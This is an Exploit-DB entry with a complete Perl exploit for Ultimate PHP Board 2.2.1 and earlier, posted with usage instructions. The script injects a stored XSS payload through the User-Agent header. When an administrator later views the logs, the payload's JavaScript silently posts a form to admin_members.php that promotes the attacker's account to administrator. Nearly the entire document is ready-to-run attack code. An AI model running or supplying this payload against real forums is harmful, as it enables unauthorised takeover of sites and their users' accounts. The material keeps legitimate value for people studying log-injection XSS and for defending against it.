Exploit-DB #7607
Description: Ultimate PHP Board 2.2.1 - Privilege Escalation
Type: webapps
Platform: php
Date: 2008-12-29
Author: StAkeR

Exploit:
#!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 root@r00x.com
# ------------------------------------------------------------------
# Note: don't add me on msn messenger
#       thanks evilsocket 
#       thanks meh for ajax code
#       my email staker.38@gmail.com
# ------------------------------------------------------------------

use strict;
use IO::Socket;

my ($host,$path,$id,$email) = @ARGV;


if (@ARGV != 4) {
      
      print "\n+--------------------------------------------------------------------+\r".
            "\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r".
            "\n+--------------------------------------------------------------------+\r".
            "\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n".
            "\nUsage   + perl $0 [host] [path] [ID] [email]".
            "\nHost    + localhost".
            "\nPath    + forum path /upb)".
            "\nID      + your user ID".
            "\nEmail   + your/any email\n";
      exit;
} 

&exploit();


sub exploit () {

     my $content = undef;
     my $uagent  = &logs;
     my $packet  = undef;
     my $socket  = new IO::Socket::INET(
                                         PeerAddr => $host,
                                         PeerPort => 80,
                                         Proto    => 'tcp',
                                       ) or die $!;
                            
     $packet .= "GET /$path/index.php HTTP/1.1\r\n";
     $packet .= "Host: $host\r\n";
     $packet .= "User-Agent: $uagent\r\n";
     $packet .= "Connection: close\r\n\r\n";
     
     $socket->send($packet);
     
     while (<$socket>) {
        $content .= $_;
     }    
     
     if ($content =~ m/myUPB/i) {
        print "Exploit Done!\n";
        print "You'll become admin when the real admin will visit the logs\n";
        exit;
     }
     else {
        print "Exploit Failed!\n";
        exit;
    }    
}                            


sub logs () {

my $logs = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d".
           "<script>var xplurl='http://$host/$path/admin_members.php?a".
           "ction=edit&id=$id&page=10'; var xpldata='a=1&level=3&email".
           "=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_".
           "timezone=0&B1=Submit';function s(s){var h=((window.ActiveXO".
           "bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp".
           "Request());h.open('POST', xplurl, true);h.setRequestHeader".
           "('Content-type','application/x-www-form-urlencoded');h.setRe".
           "questHeader('Content-length',xpldata.length);h.setRequestHea".
           "der('Connection','close');h.send(xpldata);}s();</script>";
  
  return $logs;
           
}                     

# milw0rm.com [2008-12-29]